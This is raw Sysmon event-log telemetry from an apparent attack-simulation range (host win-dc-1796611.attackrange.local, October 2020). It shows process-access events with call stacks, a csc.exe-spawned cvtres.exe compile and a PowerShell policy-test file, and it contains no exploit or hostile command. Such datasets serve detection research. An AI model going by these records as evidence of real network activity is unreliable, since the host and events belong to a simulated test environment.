09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9900-000000007F01}3984C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-2901-5F80-9800-000000007F01}23364480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2902-5F80-9900-000000007F01}3984C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.011{A5F018FF-2902-5F80-9900-000000007F01}3984C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES2025.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCDF6D0AA141E1465DB4A79636E885F1BD.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2901-5F80-9800-000000007F01}2336C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\liw13j1y.cmdline" 10341000x80000000000000003245Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.553{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003244Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.553{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003243Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.522{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_55gt1pw3.t4v.ps12020-10-09 09:10:27.522 10341000x80000000000000003242Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.506{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003241Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003240Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003239Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003238Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003237Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003236Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003235Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003234Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003233Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003232Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003231Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 